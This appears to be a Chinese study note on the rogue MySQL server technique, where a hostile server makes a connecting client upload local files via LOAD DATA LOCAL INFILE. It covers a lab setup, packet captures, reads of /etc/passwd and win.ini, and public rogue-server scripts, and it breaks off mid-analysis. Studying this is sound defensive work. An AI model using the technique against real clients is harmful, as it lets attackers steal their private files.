恶意MySQL Server读取MySQL Client端文件

据说最早2013年在俄国论坛出现。大意是,MySQL Server有机会指示MySQL Client主动上传指定文件,细节参看[1]、[2],写得很清楚,建议先看完它们再继续。

背景介绍

据说最早2013年在俄国论坛出现。大意是,MySQL Server有机会指示MySQL Client主动上传指定文件,细节参看[1]、[2],写得很清楚,建议先看完它们再继续。

很少关注入侵技术,这个洞出来这么多年,看CVE-2019-12086时才知道MySQL还有这么一个洞。本文是一些学习笔记。

搭建测试环境

得安装MySQL Server,以便抓包观察。

安装MySQL 5.7.28

在RedHat 7.6上安装MySQL 5.7.28。

$ rpm -Uvh https://repo.mysql.com/mysql80-community-release-el7-3.noarch.rpm
$ sed -i 's/enabled=1/enabled=0/' /etc/yum.repos.d/mysql-community.repo
$ yum --enablerepo=mysql57-community install mysql-community-server

查看开机自启动的mysql相关服务:

$ systemctl list-unit-files | grep enable | grep mysql
mysqld.service                                enabled

禁止mysqld.service开机自启动:

$ systemctl disable mysqld.service

为什么禁止自启动?因为我经常用这台RedHat 7.6,平时也用不上MySQL。

手工启动MySQL:

$ systemctl start mysqld.service

查看MySQL状态:

$ systemctl status mysqld.service

寻找MySQL的root口令:

$ grep "A temporary password" /var/log/mysqld.log
2020-01-10T02:52:51.960591Z 1 [Note] A temporary password is generated for root@localhost: ?ep<=+e1f*B*

安全加固:

$ mysql_secure_installation

按提示输入之前那个临时root口令,重新设置root口令。

重启MySQL:

$ systemctl restart mysqld.service

优化测试环境

MySQL Server有一些缺省安全机制,比如root不能远程登录,口令强度有限制,不能太弱。对于正常使用来说,它们有益,对于测试来说,就显得不便。我需要root远程登录,我想设123456这种口令。

$ mysql -h localhost -u root -p

取消弱口令限制:

SET GLOBAL validate_password_length = 6;
SET GLOBAL validate_password_mixed_case_count = 0;
SET GLOBAL validate_password_number_count = 0;
SET GLOBAL validate_password_policy = 0;
SET GLOBAL validate_password_special_char_count = 0;

修改root口令为123456,允许root远程登录:

ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';
CREATE USER 'root'@'%' IDENTIFIED BY '123456';

创建测试表

$ mysql -h localhost -u root -p

CREATE DATABASE IF NOT EXISTS sczdb;
show databases;
use sczdb;

CREATE TABLE IF NOT EXISTS sczdb.scztable ( line VARBINARY(8192) );
show tables;
select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='scztable';

SHOW GRANTS;
GRANT ALL ON sczdb.scztable TO 'root'@'%';

测试完毕后可以删除之:

drop table sczdb.scztable;
drop database sczdb;

Windows上的MySQL Client

https://dev.mysql.com/downloads/mysql/
https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.18-winx64.zip

为了绿色使用,至少得三个文件:

libcrypto-1_1-x64.dll
libssl-1_1-x64.dll
mysql.exe

LOAD DATA LOCAL INFILE

在Linux上测试正常用法

$ mysql -h localhost -u root -p

LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE sczdb.scztable FIELDS TERMINATED BY '\n';
select * from sczdb.scztable;
delete from sczdb.scztable;

在Windows上测试正常用法

$ mysql.exe -h 192.168.65.23 -u root -p

LOAD DATA LOCAL INFILE 'c:/windows/win.ini' INTO TABLE sczdb.scztable FIELDS TERMINATED BY '\n';
select * from sczdb.scztable;
delete from sczdb.scztable;

实测时提示:

ERROR 1148 (42000): The used command is not allowed with this MySQL version

$ mysql.exe -V
mysql Ver 8.0.18 for Win64 on x86_64 (MySQL Community Server – GPL)

Windows上MySQL Client 8.0.18缺省不允许”LOAD DATA LOCAL INFILE”,需要显式允
许,下面两种方式均可:

$ mysql.exe -h 192.168.65.23 -u root -p --enable-local-infile
$ mysql.exe -h 192.168.65.23 -u root -p --local-infile

用Wireshark抓包观察通信协议

$ mysql.exe -h 192.168.65.23 -u root -p --enable-local-infile

如果直接抓上面这条命令,会发现MySQL Client很快就进行SSL协商,后续通信全在SSL保护下。我们的目的是观察通信协议,可以关闭SSL保护:

$ mysql.exe -h 192.168.65.23 -u root -p --enable-local-infile --ssl-mode=DISABLED

LOAD DATA LOCAL INFILE 'c:/windows/win.ini' INTO TABLE sczdb.scztable FIELDS TERMINATED BY '\n';
select * from sczdb.scztable;
delete from sczdb.scztable;

Summary

下面抓取报文的Summary:

--------------------------------------------------------------------------
No. len Protocol src           dst           sport dport Info
 4  132 MySQL    192.168.65.23 192.168.65.1  3306  60863 Server Greeting proto=10 version=5.7.28
 5  256 MySQL    192.168.65.1  192.168.65.23 60863 3306  Login Request user=root
 9  65  MySQL    192.168.65.23 192.168.65.1  3306  60863 Response OK
10  91  MySQL    192.168.65.1  192.168.65.23 60863 3306  Request Query
11  146 MySQL    192.168.65.23 192.168.65.1  3306  60863 Response
14  154 MySQL    192.168.65.1  192.168.65.23 60863 3306  Request Query
15  77  MySQL    192.168.65.23 192.168.65.1  3306  60863 Response TABULAR
16  741 MySQL    192.168.65.1  192.168.65.23 60863 3306  Request[Malformed Packet]
17  114 MySQL    192.168.65.23 192.168.65.1  3306  60863 Response OK
--------------------------------------------------------------------------

TCP三次握手后,MySQL Server主动发送”Server Greeting”(4号报文)。5号报文开始登录认证,9号报文指明登录成功。10号报文是MySQL Client缺省发出的”select @@version_comment limit 1″,11号报文是其响应。14号报文是”LOAD DATA LOCAL INFILE”,15号报文是所谓的”Response TABULAR”,16号报文是MySQL Client向MySQL Server上传文件。

Server Greeting

--------------------------------------------------------------------------
No.     len   Protocol src                   dst                   sport  dport  Info
      4 132   MySQL    192.168.65.23         192.168.65.1          3306   60863  Server Greeting proto=10 version=5.7.28

Internet Protocol Version 4, Src: 192.168.65.23, Dst: 192.168.65.1
Transmission Control Protocol, Src Port: 3306, Dst Port: 60863, Seq: 1, Ack: 1, Len: 78
MySQL Protocol
    Packet Length: 74
    Packet Number: 0
    Server Greeting
        Protocol: 10
        Version: 5.7.28
        Thread ID: 7
        Salt: =J3<\037s3K
        Server Capabilities: 0xffff
            .... .... .... ...1 = Long Password: Set
            .... .... .... ..1. = Found Rows: Set
            .... .... .... .1.. = Long Column Flags: Set
            .... .... .... 1... = Connect With Database: Set
            .... .... ...1 .... = Don't Allow database.table.column: Set
            .... .... ..1. .... = Can use compression protocol: Set
            .... .... .1.. .... = ODBC Client: Set
            .... .... 1... .... = Can Use LOAD DATA LOCAL: Set
            .... ...1 .... .... = Ignore Spaces before '(': Set
            .... ..1. .... .... = Speaks 4.1 protocol (new flag): Set
            .... .1.. .... .... = Interactive Client: Set
            .... 1... .... .... = Switch to SSL after handshake: Set
            ...1 .... .... .... = Ignore sigpipes: Set
            ..1. .... .... .... = Knows about transactions: Set
            .1.. .... .... .... = Speaks 4.1 protocol (old flag): Set
            1... .... .... .... = Can do 4.1 authentication: Set
        Server Language: latin1 COLLATE latin1_swedish_ci (8)
        Server Status: 0x0002
            .... .... .... ...0 = In transaction: Not set
            .... .... .... ..1. = AUTO_COMMIT: Set
            .... .... .... .0.. = More results: Not set
            .... .... .... 0... = Multi query - more resultsets: Not set
            .... .... ...0 .... = Bad index used: Not set
            .... .... ..0. .... = No index used: Not set
            .... .... .0.. .... = Cursor exists: Not set
            .... .... 0... .... = Last row sent: Not set
            .... ...0 .... .... = database dropped: Not set
            .... ..0. .... .... = No backslash escapes: Not set
            .... .0.. .... .... = Session state changed: Not set
            .... 0... .... .... = Query was slow: Not set
            ...0 .... .... .... = PS Out Params: Not set
        Extended Server Capabilities: 0xc1ff
            .... .... .... ...1 = Multiple statements: Set
            .... .... .... ..1. = Multiple results: Set
            .... .... .... .1.. = PS Multiple results: Set
            .... .... .... 1... = Plugin Auth: Set
            .... .... ...1 .... = Connect attrs: Set
            .... .... ..1. .... = Plugin Auth LENENC Client Data: Set
            .... .... .1.. .... = Client can handle expired passwords: Set
            .... .... 1... .... = Session variable tracking: Set
            .... ...1 .... .... = Deprecate EOF: Set
            1100 000. .... .... = Unused: 0x60
        Authentication Plugin Length: 21
        Unused: 00000000000000000000
        Salt: \v\036E4\001"IUqCRX
        Authentication Plugin: mysql_native_password

0030                    4a 00 00 00 0a 35 2e 37 2e 32         J....5.7.2
0040  38 00 07 00 00 00 3d 4a 33 3c 1f 73 33 4b 00 ff   8.....=J3<.s3K..
0050  ff 08 02 00 ff c1 15 00 00 00 00 00 00 00 00 00   ................
0060  00 0b 1e 45 34 01 22 49 55 71 43 52 58 00 6d 79   ...E4."IUqCRX.my
0070  73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 73 77   sql_native_passw
0080  6f 72 64 00                                       ord.
--------------------------------------------------------------------------

Login Request

--------------------------------------------------------------------------
No.     len   Protocol src                   dst                   sport  dport  Info
      5 256   MySQL    192.168.65.1          192.168.65.23         60863  3306   Login Request user=root

Internet Protocol Version 4, Src: 192.168.65.1, Dst: 192.168.65.23
Transmission Control Protocol, Src Port: 60863, Dst Port: 3306, Seq: 1, Ack: 79, Len: 202
MySQL Protocol
    Packet Length: 198
    Packet Number: 1
    Login Request
        Client Capabilities: 0xa685
            .... .... .... ...1 = Long Password: Set
            .... .... .... ..0. = Found Rows: Not set
            .... .... .... .1.. = Long Column Flags: Set
            .... .... .... 0... = Connect With Database: Not set
            .... .... ...0 .... = Don't Allow database.table.column: Not set
            .... .... ..0. .... = Can use compression protocol: Not set
            .... .... .0.. .... = ODBC Client: Not set
            .... .... 1... .... = Can Use LOAD DATA LOCAL: Set
            .... ...0 .... .... = Ignore Spaces before '(': Not set
            .... ..1. .... .... = Speaks 4.1 protocol (new flag): Set
            .... .1.. .... .... = Interactive Client: Set
            .... 0... .... .... = Switch to SSL after handshake: Not set
            ...0 .... .... .... = Ignore sigpipes: Not set
            ..1. .... .... .... = Knows about transactions: Set
            .0.. .... .... .... = Speaks 4.1 protocol (old flag): Not set
            1... .... .... .... = Can do 4.1 authentication: Set
        Extended Client Capabilities: 0x01ff
            .... .... .... ...1 = Multiple statements: Set
            .... .... .... ..1. = Multiple results: Set
            .... .... .... .1.. = PS Multiple results: Set
            .... .... .... 1... = Plugin Auth: Set
            .... .... ...1 .... = Connect attrs: Set
            .... .... ..1. .... = Plugin Auth LENENC Client Data: Set
            .... .... .1.. .... = Client can handle expired passwords: Set
            .... .... 1... .... = Session variable tracking: Set
            .... ...1 .... .... = Deprecate EOF: Set
            0000 000. .... .... = Unused: 0x00
        MAX Packet: 16777216
        Charset: cp850 COLLATE cp850_general_ci (4)
        Username: root
        Client Auth Plugin: caching_sha2_password
        Connection Attributes
            Connection Attributes length: 137
            Connection Attribute - _pid: 13292
                Connection Attribute Name Length: 4
                Connection Attribute Name: _pid
                Connection Attribute Name Length: 5
                Connection Attribute Value: 13292
            Connection Attribute - program_name: mysql
                Connection Attribute Name Length: 12
                Connection Attribute Name: program_name
                Connection Attribute Name Length: 5
                Connection Attribute Value: mysql
            Connection Attribute - os_user: Administrator
                Connection Attribute Name Length: 7
                Connection Attribute Name: os_user
                Connection Attribute Name Length: 13
                Connection Attribute Value: Administrator
            Connection Attribute - _client_name: libmysql
                Connection Attribute Name Length: 12
                Connection Attribute Name: _client_name
                Connection Attribute Name Length: 8
                Connection Attribute Value: libmysql
            Connection Attribute - _thread: 4884
                Connection Attribute Name Length: 7
                Connection Attribute Name: _thread
                Connection Attribute Name Length: 4
                Connection Attribute Value: 4884
            Connection Attribute - _client_version: 8.0.18
                Connection Attribute Name Length: 15
                Connection Attribute Name: _client_version
                Connection Attribute Name Length: 6
                Connection Attribute Value: 8.0.18
            Connection Attribute - _os: Win64
                Connection Attribute Name Length: 3
                Connection Attribute Name: _os
                Connection Attribute Name Length: 5
                Connection Attribute Value: Win64
            Connection Attribute - _platform: x86_64
                Connection Attribute Name Length: 9
                Connection Attribute Name: _platform
                Connection Attribute Name Length: 6
                Connection Attribute Value: x86_64

0030                    c6 00 00 01 85 a6 ff 01 00 00         ..........
0040  00 01 04 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0050  00 00 00 00 00 00 00 00 00 00 72 6f 6f 74 00 00   ..........root..
0060  63 61 63 68 69 6e 67 5f 73 68 61 32 5f 70 61 73   caching_sha2_pas
0070  73 77 6f 72 64 00 89 04 5f 70 69 64 05 31 33 32   sword..._pid.132
0080  39 32 0c 70 72 6f 67 72 61 6d 5f 6e 61 6d 65 05   92.program_name.
0090  6d 79 73 71 6c 07 6f 73 5f 75 73 65 72 0d 41 64   mysql.os_user.Ad
00a0  6d 69 6e 69 73 74 72 61 74 6f 72 0c 5f 63 6c 69   ministrator._cli
00b0  65 6e 74 5f 6e 61 6d 65 08 6c 69 62 6d 79 73 71   ent_name.libmysq
00c0  6c 07 5f 74 68 72 65 61 64 04 34 38 38 34 0f 5f   l._thread.4884._
00d0  63 6c 69 65 6e 74 5f 76 65 72 73 69 6f 6e 06 38   client_version.8
00e0  2e 30 2e 31 38 03 5f 6f 73 05 57 69 6e 36 34 09   .0.18._os.Win64.
00f0  5f 70 6c 61 74 66 6f 72 6d 06 78 38 36 5f 36 34   _platform.x86_64
--------------------------------------------------------------------------

登录成功的响应

--------------------------------------------------------------------------
No.     len   Protocol src                   dst                   sport  dport  Info
      9 65    MySQL    192.168.65.23         192.168.65.1          3306   60863  Response OK

Internet Protocol Version 4, Src: 192.168.65.23, Dst: 192.168.65.1
Transmission Control Protocol, Src Port: 3306, Dst Port: 60863, Seq: 127, Ack: 227, Len: 11
MySQL Protocol
    Packet Length: 7
    Packet Number: 4
    Affected Rows: 0
    Server Status: 0x0002
        .... .... .... ...0 = In transaction: Not set
        .... .... .... ..1. = AUTO_COMMIT: Set
        .... .... .... .0.. = More results: Not set
        .... .... .... 0... = Multi query - more resultsets: Not set
        .... .... ...0 .... = Bad index used: Not set
        .... .... ..0. .... = No index used: Not set
        .... .... .0.. .... = Cursor exists: Not set
        .... .... 0... .... = Last row sent: Not set
        .... ...0 .... .... = database dropped: Not set
        .... ..0. .... .... = No backslash escapes: Not set
        .... .0.. .... .... = Session state changed: Not set
        .... 0... .... .... = Query was slow: Not set
        ...0 .... .... .... = PS Out Params: Not set
    Warnings: 0

0030                    07 00 00 04 00 00 00 02 00 00         ..........
0040  00                                                .
--------------------------------------------------------------------------

select @@version_comment limit 1

--------------------------------------------------------------------------
No.     len   Protocol src                   dst                   sport  dport  Info
     10 91    MySQL    192.168.65.1          192.168.65.23         60863  3306   Request Query

Internet Protocol Version 4, Src: 192.168.65.1, Dst: 192.168.65.23
Transmission Control Protocol, Src Port: 60863, Dst Port: 3306, Seq: 227, Ack: 138, Len: 37
MySQL Protocol
    Packet Length: 33
    Packet Number: 0
    Request Command Query
        Command: Query (3)
        Statement: select @@version_comment limit 1

0030                    21 00 00 00 03 73 65 6c 65 63         !....selec
0040  74 20 40 40 76 65 72 73 69 6f 6e 5f 63 6f 6d 6d   t @@version_comm
0050  65 6e 74 20 6c 69 6d 69 74 20 31                  ent limit 1
--------------------------------------------------------------------------
No.     len   Protocol src                   dst                   sport  dport  Info
     11 146   MySQL    192.168.65.23         192.168.65.1          3306   60863  Response

Internet Protocol Version 4, Src: 192.168.65.23, Dst: 192.168.65.1
Transmission Control Protocol, Src Port: 3306, Dst Port: 60863, Seq: 138, Ack: 264, Len: 92
MySQL Protocol
    Packet Length: 1
    Packet Number: 1
    Number of fields: 1
MySQL Protocol
    Packet Length: 39
    Packet Number: 2
    Catalog: def
    Database:
    Table:
    Original table:
    Name: @@version_comment
    Original name:
    Charset number: cp850 COLLATE cp850_general_ci (4)
    Length: 28
    Type: FIELD_TYPE_VAR_STRING (253)
    Flags: 0x0000
        .... .... .... ...0 = Not null: Not set
        .... .... .... ..0. = Primary key: Not set
        .... .... .... .0.. = Unique key: Not set
        .... .... .... 0... = Multiple key: Not set
        .... .... ...0 .... = Blob: Not set
        .... .... ..0. .... = Unsigned: Not set
        .... .... .0.. .... = Zero fill: Not set
        .... .... 0... .... = Binary: Not set
        .... ...0 .... .... = Enum: Not set
        .... ..0. .... .... = Auto increment: Not set
        .... .0.. .... .... = Timestamp: Not set
        .... 0... .... .... = Set: Not set
    Decimals: 31
MySQL Protocol
    Packet Length: 29
    Packet Number: 3
    Catalog: MySQL Community Server (GPL)
[Malformed Packet: MySQL]
    [Expert Info (Error/Malformed): Malformed Packet (Exception occurred)]
        [Malformed Packet (Exception occurred)]
        [Severity level: Error]
        [Group: Malformed]
MySQL Protocol
    Packet Length: 7
    Packet Number: 4
    EOF marker: 254
    Warnings: 0
    Server Status: 0x0002
        .... .... .... ...0 = In transaction: Not set
        .... .... .... ..1. = AUTO_COMMIT: Set
        .... .... .... .0.. = More results: Not set
        .... .... .... 0... = Multi query - more resultsets: Not set
        .... .... ...0 .... = Bad index used: Not set
        .... .... ..0. .... = No index used: Not set
        .... .... .0.. .... = Cursor exists: Not set
        .... .... 0... .... = Last row sent: Not set
        .... ...0 .... .... = database dropped: Not set
        .... ..0. .... .... = No backslash escapes: Not set
        .... .0.. .... .... = Session state changed: Not set
        .... 0... .... .... = Query was slow: Not set
        ...0 .... .... .... = PS Out Params: Not set
    Payload: 0000
        [Expert Info (Warning/Undecoded): FIXME - dissector is incomplete]
            [FIXME - dissector is incomplete]
            [Severity level: Warning]
            [Group: Undecoded]

0000                    00 0c 29 19 8f b4 08 00 45 00         ..).....E.
0010  00 84 30 7e 40 00 40 06 06 8d c0 a8 41 17 c0 a8   ..0~@.@.....A...
0020  41 01 0c ea ed bf 0f 5d 9a 05 16 af bf 92 50 18   A......]......P.
0030  00 ed 05 87 00 00 01 00 00 01 01 27 00 00 02 03   ...........'....
0040  64 65 66 00 00 00 11 40 40 76 65 72 73 69 6f 6e   def....@@version
0050  5f 63 6f 6d 6d 65 6e 74 00 0c 04 00 1c 00 00 00   _comment........
0060  fd 00 00 1f 00 00 1d 00 00 03 1c 4d 79 53 51 4c   ...........MySQL
0070  20 43 6f 6d 6d 75 6e 69 74 79 20 53 65 72 76 65    Community Serve
0080  72 20 28 47 50 4c 29 07 00 00 04 fe 00 00 02 00   r (GPL).........
0090  00 00                                             ..
--------------------------------------------------------------------------

LOAD DATA LOCAL INFILE

--------------------------------------------------------------------------
No.     len   Protocol src                   dst                   sport  dport  Info
     14 154   MySQL    192.168.65.1          192.168.65.23         60863  3306   Request Query

Internet Protocol Version 4, Src: 192.168.65.1, Dst: 192.168.65.23
Transmission Control Protocol, Src Port: 60863, Dst Port: 3306, Seq: 264, Ack: 230, Len: 100
MySQL Protocol
    Packet Length: 96
    Packet Number: 0
    Request Command Query
        Command: Query (3)
        Statement: LOAD DATA LOCAL INFILE 'c:/windows/win.ini' INTO TABLE sczdb.scztable FIELDS TERMINATED BY '\n'

0030                    60 00 00 00 03 4c 4f 41 44 20         `....LOAD
0040  44 41 54 41 20 4c 4f 43 41 4c 20 49 4e 46 49 4c   DATA LOCAL INFIL
0050  45 20 27 63 3a 2f 77 69 6e 64 6f 77 73 2f 77 69   E 'c:/windows/wi
0060  6e 2e 69 6e 69 27 20 49 4e 54 4f 20 54 41 42 4c   n.ini' INTO TABL
0070  45 20 73 63 7a 64 62 2e 73 63 7a 74 61 62 6c 65   E sczdb.scztable
0080  20 46 49 45 4c 44 53 20 54 45 52 4d 49 4e 41 54    FIELDS TERMINAT
0090  45 44 20 42 59 20 27 5c 6e 27                     ED BY '\n'
--------------------------------------------------------------------------

Response TABULAR

--------------------------------------------------------------------------
No.     len   Protocol src                   dst                   sport  dport  Info
     15 77    MySQL    192.168.65.23         192.168.65.1          3306   60863  Response TABULAR

Internet Protocol Version 4, Src: 192.168.65.23, Dst: 192.168.65.1
Transmission Control Protocol, Src Port: 3306, Dst Port: 60863, Seq: 230, Ack: 364, Len: 23
MySQL Protocol
    Packet Length: 19
    Packet Number: 1
    Number of fields: 0
    Extra data: 99
    Payload: 3a2f77696e646f77732f77696e2e696e69
        [Expert Info (Warning/Undecoded): FIXME - dissector is incomplete]
            [FIXME - dissector is incomplete]
            [Severity level: Warning]
            [Group: Undecoded]

0030                    13 00 00 01 fb 63 3a 2f 77 69         .....c:/wi
0040  6e 64 6f 77 73 2f 77 69 6e 2e 69 6e 69            ndows/win.ini
--------------------------------------------------------------------------

上传文件

--------------------------------------------------------------------------
No.     len   Protocol src                   dst                   sport  dport  Info
     16 741   MySQL    192.168.65.1          192.168.65.23         60863  3306   Request[Malformed Packet]

Internet Protocol Version 4, Src: 192.168.65.1, Dst: 192.168.65.23
Transmission Control Protocol, Src Port: 60863, Dst Port: 3306, Seq: 364, Ack: 253, Len: 687
MySQL Protocol
    Packet Length: 679
    Packet Number: 2
    Request Command Unknown (59)
        Command: Unknown (59)
        Payload: 20666f722031362d6269742061707020737570706f72740d...
            [Expert Info (Warning/Protocol): Unknown/invalid command code]
                [Unknown/invalid command code]
                [Severity level: Warning]
                [Group: Protocol]
MySQL Protocol
    Packet Length: 0
    Packet Number: 3
[Malformed Packet: MySQL]
    [Expert Info (Error/Malformed): Malformed Packet (Exception occurred)]
        [Malformed Packet (Exception occurred)]
        [Severity level: Error]
        [Group: Malformed]

0030                    a7 02 00 02 3b 20 66 6f 72 20         ....; for
0040  31 36 2d 62 69 74 20 61 70 70 20 73 75 70 70 6f   16-bit app suppo
0050  72 74 0d 0a 5b 66 6f 6e 74 73 5d 0d 0a 5b 65 78   rt..[fonts]..[ex
0060  74 65 6e 73 69 6f 6e 73 5d 0d 0a 5b 6d 63 69 20   tensions]..[mci
0070  65 78 74 65 6e 73 69 6f 6e 73 5d 0d 0a 5b 66 69   extensions]..[fi
0080  6c 65 73 5d 0d 0a 5b 4d 43 49 20 45 78 74 65 6e   les]..[MCI Exten
0090  73 69 6f 6e 73 2e 42 41 4b 5d 0d 0a 33 67 32 3d   sions.BAK]..3g2=
00a0  4d 50 45 47 56 69 64 65 6f 0d 0a 33 67 70 3d 4d   MPEGVideo..3gp=M
00b0  50 45 47 56 69 64 65 6f 0d 0a 33 67 70 32 3d 4d   PEGVideo..3gp2=M
00c0  50 45 47 56 69 64 65 6f 0d 0a 33 67 70 70 3d 4d   PEGVideo..3gpp=M
00d0  50 45 47 56 69 64 65 6f 0d 0a 61 61 63 3d 4d 50   PEGVideo..aac=MP
00e0  45 47 56 69 64 65 6f 0d 0a 61 64 74 3d 4d 50 45   EGVideo..adt=MPE
00f0  47 56 69 64 65 6f 0d 0a 61 64 74 73 3d 4d 50 45   GVideo..adts=MPE
0100  47 56 69 64 65 6f 0d 0a 6d 32 74 3d 4d 50 45 47   GVideo..m2t=MPEG
0110  56 69 64 65 6f 0d 0a 6d 32 74 73 3d 4d 50 45 47   Video..m2ts=MPEG
0120  56 69 64 65 6f 0d 0a 6d 32 76 3d 4d 50 45 47 56   Video..m2v=MPEGV
0130  69 64 65 6f 0d 0a 6d 34 61 3d 4d 50 45 47 56 69   ideo..m4a=MPEGVi
0140  64 65 6f 0d 0a 6d 34 76 3d 4d 50 45 47 56 69 64   deo..m4v=MPEGVid
0150  65 6f 0d 0a 6d 6f 64 3d 4d 50 45 47 56 69 64 65   eo..mod=MPEGVide
0160  6f 0d 0a 6d 6f 76 3d 4d 50 45 47 56 69 64 65 6f   o..mov=MPEGVideo
0170  0d 0a 6d 70 34 3d 4d 50 45 47 56 69 64 65 6f 0d   ..mp4=MPEGVideo.
0180  0a 6d 70 34 76 3d 4d 50 45 47 56 69 64 65 6f 0d   .mp4v=MPEGVideo.
0190  0a 6d 74 73 3d 4d 50 45 47 56 69 64 65 6f 0d 0a   .mts=MPEGVideo..
01a0  74 73 3d 4d 50 45 47 56 69 64 65 6f 0d 0a 74 74   ts=MPEGVideo..tt
01b0  73 3d 4d 50 45 47 56 69 64 65 6f 0d 0a 5b 45 53   s=MPEGVideo..[ES
01c0  50 33 32 5d 0d 0a 4c 65 66 74 3d 30 0d 0a 54 6f   P32]..Left=0..To
01d0  70 3d 37 36 38 0d 0a 52 69 67 68 74 3d 31 32 38   p=768..Right=128
01e0  30 0d 0a 42 6f 74 74 6f 6d 3d 31 30 32 34 0d 0a   0..Bottom=1024..
01f0  63 78 57 6e 64 3d 31 32 37 32 0d 0a 63 78 4c 69   cxWnd=1272..cxLi
0200  73 74 31 3d 33 31 38 0d 0a 41 75 74 6f 43 6c 6f   st1=318..AutoClo
0210  73 65 3d 30 0d 0a 44 65 62 75 67 4f 75 74 70 75   se=0..DebugOutpu
0220  74 3d 31 0d 0a 43 6f 6d 70 6c 65 74 69 6f 6e 3d   t=1..Completion=
0230  32 0d 0a 54 53 50 49 56 65 72 73 69 6f 6e 3d 31   2..TSPIVersion=1
0240  33 31 30 37 32 0d 0a 4e 75 6d 4c 69 6e 65 73 3d   31072..NumLines=
0250  33 0d 0a 4e 75 6d 41 64 64 72 73 50 65 72 4c 69   3..NumAddrsPerLi
0260  6e 65 3d 32 0d 0a 4e 75 6d 43 61 6c 6c 73 50 65   ne=2..NumCallsPe
0270  72 41 64 64 72 3d 31 0d 0a 4e 75 6d 50 68 6f 6e   rAddr=1..NumPhon
0280  65 73 3d 32 0d 0a 41 75 74 6f 47 61 74 68 65 72   es=2..AutoGather
0290  47 65 6e 65 72 61 74 65 4d 73 67 73 3d 31 0d 0a   GenerateMsgs=1..
02a0  44 69 73 61 62 6c 65 55 49 3d 30 0d 0a 5b 53 63   DisableUI=0..[Sc
02b0  69 43 61 6c 63 5d 0d 0a 6c 61 79 6f 75 74 3d 30   iCalc]..layout=0
02c0  0d 0a 5b 53 79 73 74 65 6d 5d 0d 0a 57 54 5f 41   ..[System]..WT_A
02d0  43 43 4f 55 4e 54 5f 45 4e 43 4f 44 45 3d 31 0d   CCOUNT_ENCODE=1.
02e0  0a 00 00 00 03                                    .....
--------------------------------------------------------------------------

win.ini内容如下:

--------------------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
[ESP32]
Left=0
Top=768
Right=1280
Bottom=1024
cxWnd=1272
cxList1=318
AutoClose=0
DebugOutput=1
Completion=2
TSPIVersion=131072
NumLines=3
NumAddrsPerLine=2
NumCallsPerAddr=1
NumPhones=2
AutoGatherGenerateMsgs=1
DisableUI=0
[SciCalc]
layout=0
[System]
WT_ACCOUNT_ENCODE=1
--------------------------------------------------------------------------

“幺蛾子”所在

MySQL Client从来自MySQL Server的”Response TABULAR”(15号报文)中获取文件名,然后在16号报文中上传相应文件。MySQL Client主动发出的14号报文就是个摆设。更要命的是,如果MySQL Client允许”LOAD DATA LOCAL INFILE”,当它收到来自MySQL Server的”Response TABULAR”时,不管自己是否主动发起过上传文件的请求,都会上传文件。

前面抓取的报文中,MySQL Client会主动”select @@version_comment limit 1″,如果远端是恶意MySQL Server,可以直接响应以”Response TABULAR”,MySQL Client将立即上传文件,不需要其他交互。

rogue_mysql_server.py

已经有人写了恶意MySQL Server,参[3],网上有三个版本:

rogue_mysql_server_Gifts.py // 2013版本,已不适用较新的MySQL Client
rogue_mysql_server_allyshka.py // 2016版
rogue_mysql_server_jas502n.py // 2019年中国人改的

它们本名都是rogue_mysql_server.py,加上作者名以便叙述。

rogue_mysql_server_Gifts.py

有几篇讲CVE-2019-12086的文章给的链接就是rogue_mysql_server_Gifts.py,但我用这个版本死活不能读取MySQL Client端文件。

在Linux上:

$ python2 rogue_mysql_server_Gifts.py

在Windows上:

$ mysql.exe -h 192.168.65.23 -u root -p --enable-local-infile
ERROR 2027 (HY000): Malformed packet

MySQL Client访问恶意MySQL Server时提示”Malformed packet”。

这次MySQL Client不必指定”–ssl-mode=DISABLED”。通信过程是否启用SSL由Server和Client协商后决定,”Server Greeting”中”Server Capabilities”字段有:

…. 0… …. …. = Switch to SSL after handshake: Not set

“Login Request”中”Client Capabilities”字段有:

…. 0… …. …. = Switch to SSL after handshake: Not set

只有这两个bit同时置位才会启用SSL。rogue_mysql_server.py的”Server Greeting”中”Server Capabilities”字段没有启用SSL,此时MySQL Client发出的
“Login Request”中”Client Capabilities”字段也不会启用SSL。即使MySQL Server启用SSL,MySQL Client仍可通过”Login Request”中”Client Capabilities”字段表明己方不支持SSL,这跟本文主旨无关,就是提一句。

过于陈旧的”Server Greeting”

抓包观察:

--------------------------------------------------------------------------
No.     len   Protocol src                   dst                   sport  dport  Info
      4 123   MySQL    192.168.65.23         192.168.65.1          3306   61191  Server Greeting proto=10 version=3.0.0-Evil_Mysql_Server

Internet Protocol Version 4, Src: 192.168.65.23, Dst: 192.168.65.1
Transmission Control Protocol, Src Port: 3306, Dst Port: 61191, Seq: 1, Ack: 1, Len: 69
MySQL Protocol
    Packet Length: 65
    Packet Number: 0
    Server Greeting
        Protocol: 10
        Version: 3.0.0-Evil_Mysql_Server
        Thread ID: 54
        Salt: evilsalt
        Server Capabilities: 0xf7df
            .... .... .... ...1 = Long Password: Set
            .... .... .... ..1. = Found Rows: Set
            .... .... .... .1.. = Long Column Flags: Set
            .... .... .... 1... = Connect With Database: Set
            .... .... ...1 .... = Don't Allow database.table.column: Set
            .... .... ..0. .... = Can use compression protocol: Not set
            .... .... .1.. .... = ODBC Client: Set
            .... .... 1... .... = Can Use LOAD DATA LOCAL: Set
            .... ...1 .... .... = Ignore Spaces before '(': Set
            .... ..1. .... .... = Speaks 4.1 protocol (new flag): Set
            .... .1.. .... .... = Interactive Client: Set
            .... 0... .... .... = Switch to SSL after handshake: Not set
            ...1 .... .... .... = Ignore sigpipes: Set
            ..1. .... .... .... = Knows about transactions: Set
            .1.. .... .... .... = Speaks 4.1 protocol (old flag): Set
